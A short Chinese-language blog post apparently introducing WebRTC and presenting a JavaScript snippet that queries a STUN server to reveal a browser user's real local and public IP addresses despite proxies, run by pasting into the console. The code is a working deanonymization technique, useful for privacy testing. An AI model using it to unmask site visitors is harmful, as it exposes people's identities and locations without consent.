通过 webRTC 可以绕过获取真实IP
webRTC是啥:
WebRTC实现了基于网页的视频会议,标准是WHATWG
协议,目的是通过浏览器提供简单的javascript就可以达到实时通讯(Real-Time Communications (RTC))能力。
WebRTC(Web Real-Time
Communication)项目的最终目的主要是让Web开发者能够基于浏览器(Chrome\FireFox...)轻易快捷开发出丰富的实时多媒体应用,而无需下载安装任何插件,Web开发者也无需关注多媒体的数字信号处理过程,只需编写简单的Javascript程序即可实现,W3C等组织正在制定Javascript
标准API,目前是WebRTC
1.0版本,Draft状态;另外WebRTC还希望能够建立一个多互联网浏览器间健壮的实时通信的平台,形成开发者与浏览器厂商良好的生态环境。同时,Google也希望和致力于让WebRTC的技术成为HTML5标准之一,可见Google布局之深远。
WebRTC提供了视频会议的核心技术,包括音视频的采集、编解码、网络传输、显示等功能,并且还支持跨平台:windows,linux,mac,android。
发现通过 webRTC 可以绕过获取真实IP,可怕,放代码…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| function getIPs(callback){ var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var useWebKit = !!window.webkitRTCPeerConnection;
if(!RTCPeerConnection){ var win = iframe.contentWindow; RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; useWebKit = !!win.webkitRTCPeerConnection; }
var mediaConstraints = { optional: [{RtpDataChannels: true}] };
var servers = {iceServers: [{urls: "stun:stun.l.google.com:19302"}]};
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate){ var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ var ip_addr = ip_regex.exec(candidate) && ip_regex.exec(candidate)[1];
if(!ip_addr) return; if(ip_dups[ip_addr] === undefined) callback(ip_addr);
ip_dups[ip_addr] = true; }
pc.onicecandidate = function(ice){ if(ice.candidate) handleCandidate(ice.candidate.candidate); };
pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
setTimeout(function(){ var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){ if(line.indexOf('a=candidate:') === 0) handleCandidate(line); }); }, 1000); }
getIPs(function(ip){ ip && console.log(ip); });
|
丢入控制台运行就出来了,各位不要搞事~
![image]()